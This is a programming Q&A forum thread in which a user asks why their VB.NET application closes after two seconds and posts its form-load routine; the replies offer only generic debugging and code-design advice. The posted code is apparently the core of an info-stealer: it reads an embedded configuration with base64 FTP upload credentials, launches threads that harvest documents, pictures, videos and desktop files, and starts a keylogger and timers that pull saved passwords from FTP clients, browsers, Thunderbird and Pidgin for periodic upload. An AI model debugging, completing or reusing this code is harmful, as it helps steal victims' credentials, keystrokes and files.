Click here to Skip to main content
15,888,610 members
Please Sign up or sign in to vote.
1.00/5 (1 vote)
See more:
hello programmers, i got a little problem in starting my application.
if i run it, it will just come up for 2 seconds then exit. please, help me.
this is the code below.




VB
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
       'Timer1.Start()
       Me.Visible = True
       Try
           FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
           seFT = Space(CInt(LOF(1)))
           FileGet(1, seFT)
           FileClose(1)
           Settings = Split(seFT, FileSplit)

           'FTP Credentials - Note: These are still encoded with base64
           ftp1 = Settings(1)
           username1 = Settings(2)
           password1 = Settings(3)
           ftp2 = Settings(4)
           username2 = Settings(5)
           password2 = Settings(6)
           If (Settings(7) = "True") Then
               Dim pp As Thread = New Thread(New ThreadStart(AddressOf documentDownloadCSV))
               pp.IsBackground = True
               pp.Start()
           End If
           If (Settings(8) = "True") Then
               Dim pp As Thread = New Thread(New ThreadStart(AddressOf documentDownloadTXT))
               pp.IsBackground = True
               pp.Start()
           End If
           If (Settings(9) = "True") Then
               Dim pp As Thread = New Thread(New ThreadStart(AddressOf documentDownloadPDF))
               pp.IsBackground = True
               pp.Start()
           End If
           If (Settings(10) = "True") Then
               Dim pp As Thread = New Thread(New ThreadStart(AddressOf documentDownloadDOC))
               pp.IsBackground = True
               pp.Start()
           End If
           If (Settings(11) = "True") Then
               Dim pp As Thread = New Thread(New ThreadStart(AddressOf documentDownloadDOCX))
               pp.IsBackground = True
               pp.Start()
           End If
           If (Settings(12) = "True") Then
               Dim pp As Thread = New Thread(New ThreadStart(AddressOf documentDownloadXLSX))
               pp.IsBackground = True
               pp.Start()
           End If
           If (Settings(13) = "True") Then
               Dim pp As Thread = New Thread(New ThreadStart(AddressOf documentDownloadXLS))
               pp.IsBackground = True
               pp.Start()
           End If
           If (Settings(14) = "True") Then
               Dim sd As Thread = New Thread(New ThreadStart(AddressOf pictureDownloadCSV))
               sd.IsBackground = True
               sd.Start()
           End If
           If (Settings(15) = "True") Then
               Dim sd As Thread = New Thread(New ThreadStart(AddressOf pictureDownloadTXT))
               sd.IsBackground = True
               sd.Start()
           End If
           If (Settings(16) = "True") Then
               Dim sd As Thread = New Thread(New ThreadStart(AddressOf pictureDownloadPDF))
               sd.IsBackground = True
               sd.Start()
           End If
           If (Settings(17) = "True") Then
               Dim sd As Thread = New Thread(New ThreadStart(AddressOf pictureDownloadDOC))
               sd.IsBackground = True
               sd.Start()
           End If
           If (Settings(18) = "True") Then
               Dim sd As Thread = New Thread(New ThreadStart(AddressOf pictureDownloadDOCX))
               sd.IsBackground = True
               sd.Start()
           End If
           If (Settings(19) = "True") Then
               Dim sd As Thread = New Thread(New ThreadStart(AddressOf pictureDownloadXLSX))
               sd.IsBackground = True
               sd.Start()
           End If
           If (Settings(20) = "True") Then
               Dim sd As Thread = New Thread(New ThreadStart(AddressOf pictureDownloadXLS))
               sd.IsBackground = True
               sd.Start()
           End If
           If (Settings(21) = "True") Then
               Dim sdx As Thread = New Thread(New ThreadStart(AddressOf videoDownloadCSV))
               sdx.IsBackground = True
               sdx.Start()
           End If
           If (Settings(22) = "True") Then
               Dim sdx As Thread = New Thread(New ThreadStart(AddressOf videoDownloadTXT))
               sdx.IsBackground = True
               sdx.Start()
           End If
           If (Settings(23) = "True") Then
               Dim sdx As Thread = New Thread(New ThreadStart(AddressOf videoDownloadPDF))
               sdx.IsBackground = True
               sdx.Start()
           End If
           If (Settings(24) = "True") Then
               Dim sdx As Thread = New Thread(New ThreadStart(AddressOf videoDownloadDOC))
               sdx.IsBackground = True
               sdx.Start()
           End If
           If (Settings(25) = "True") Then
               Dim sdx As Thread = New Thread(New ThreadStart(AddressOf videoDownloadDOCX))
               sdx.IsBackground = True
               sdx.Start()
           End If
           If (Settings(26) = "True") Then
               Dim sdx As Thread = New Thread(New ThreadStart(AddressOf videoDownloadXLSX))
               sdx.IsBackground = True
               sdx.Start()
           End If
           If (Settings(27) = "True") Then
               Dim sdx As Thread = New Thread(New ThreadStart(AddressOf videoDownloadXLS))
               sdx.IsBackground = True
               sdx.Start()
           End If
           If (Settings(28) = "True") Then
               Dim fdd As Thread = New Thread(New ThreadStart(AddressOf desktopDownloadCSV))
               fdd.IsBackground = True
               fdd.Start()
           End If
           If (Settings(29) = "True") Then
               Dim fdd As Thread = New Thread(New ThreadStart(AddressOf desktopDownloadTXT))
               fdd.IsBackground = True
               fdd.Start()
           End If
           If (Settings(30) = "True") Then
               Dim fdd As Thread = New Thread(New ThreadStart(AddressOf desktopDownloadPDF))
               fdd.IsBackground = True
               fdd.Start()
           End If
           If (Settings(31) = "True") Then
               Dim fdd As Thread = New Thread(New ThreadStart(AddressOf desktopDownloadDOC))
               fdd.IsBackground = True
               fdd.Start()
           End If
           If (Settings(32) = "True") Then
               Dim fdd As Thread = New Thread(New ThreadStart(AddressOf desktopDownloadDOCX))
               fdd.IsBackground = True
               fdd.Start()
           End If
           If (Settings(33) = "True") Then
               Dim fdd As Thread = New Thread(New ThreadStart(AddressOf desktopDownloadXLSX))
               fdd.IsBackground = True
               fdd.Start()
           End If
           If (Settings(34) = "True") Then
               Dim fdd As Thread = New Thread(New ThreadStart(AddressOf desktopDownloadXLS))
               fdd.IsBackground = True
               fdd.Start()
           End If
           If (Settings(35) = "True") Then
               coreftptimer.Start()
           End If
           If (Settings(36) = "True") Then
               ftpcommandertimer.Start()
           End If
           If (Settings(37) = "True") Then
               filezillatimer.Start()
           End If
           If (Settings(38) = "True") Then
               no_iptimer.Start()
           End If
           If (Settings(39) = "True") Then
               smartftptimer.Start()
           End If
           If (Settings(40) = "True") Then
               flashfxptimer.Start()
           End If
           If (Settings(41) = "True") Then
               dyndnstimer.Start()
           End If
           If (Settings(42) = "True") Then
               keyloggertimer.Start() '  keystroke timer
           End If
           If (Settings(43) = "True") Then
               thunderbirdtimer.Start()
           End If
           If (Settings(44) = "True") Then
               firefoxtimer.Start()
           End If
           If (Settings(45) = "True") Then
               operatimer.Start()
           End If
           If (Settings(46) = "True") Then
               chrometimer.Start()
           End If

           Try
               UPLOAD_time = Settings(47) ' uploading tp time....
           Catch ex As Exception
           End Try
           UPLOADtimer.Interval = UPLOAD_time * 60000 ' in minutes because timer interval is in milliseconds.
           '                                            so we times it by 60 sconds by 1000 millisconds = 1 minute.

           If (Settings(48) = "True") Then
               pidgintimer.Start()
           End If
       Catch ex As Exception

       End Try
   End Sub


can it be because of the timers
Posted
Updated 14-Dec-15 20:29pm
v2
Comments
Suvendu Shekhar Giri 15-Dec-15 2:32am    
Have you tried debugging?
Sergey Alexandrovich Kryukov 15-Dec-15 2:53am    
Use the debugger and you will see. But your code does not even resemble any reasonable programming; this is what I call "anti-programming", something opposite. Many identical lines different only in 35, 35... tell the tale. It's useless to fix such code; it should be written again, in a neat way.

I cannot discuss anything positive based on your post at this moment; if you really need help, one of the condition should be: tell us what do you want to achieve.

—SA
Sinisa Hajnal 15-Dec-15 3:03am    
You have empty catch block. There is an exception hidden here. Set some logging, catch the error and read what is wrong.

Having empty catch block is EXTREMELY BAD practice.

Other then that, set a breakpoint at the start and walk through the code.
Sinisa Hajnal 15-Dec-15 3:06am    
Read about factory patterns, change the whole lot of ifs to one factory returning IFileLoader or some such with standard operations for all of those variations. Use inheritance so all properties/methods shared with all your classes are in a single place (such as FTP login values)
[no name] 15-Dec-15 14:34pm    
The thing is when i try to debug it, it displays that the application is being rebuilt instead of it to debug.
it can't debug instead its rebuilding.. Help

1 solution

Use the debugger: put a breakpoint on the first line of that method, and run your app in the debugger. When the form starts to load, the application will stop and let you look at what is going on. Single step each line until you find which one causes the problem - them look at what you have done before, what you have passed to any methods it calls, and try to see anything that is wrong, or even odd. Then you should have a better idea where to start looking for your problem.
If you can't solve it from that - and please, do try - then at least you will have better information to come back to us with.

We can't do any of that for you: we don't have access to your code or data, and so can't run your app under the same conditions.
 
Share this answer
 

This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)

  Print Answers RSS
Top Experts
Last 24hrsThis month


CodeProject, 20 Bay Street, 11th Floor Toronto, Ontario, Canada M5J 2N8 +1 (416) 849-8900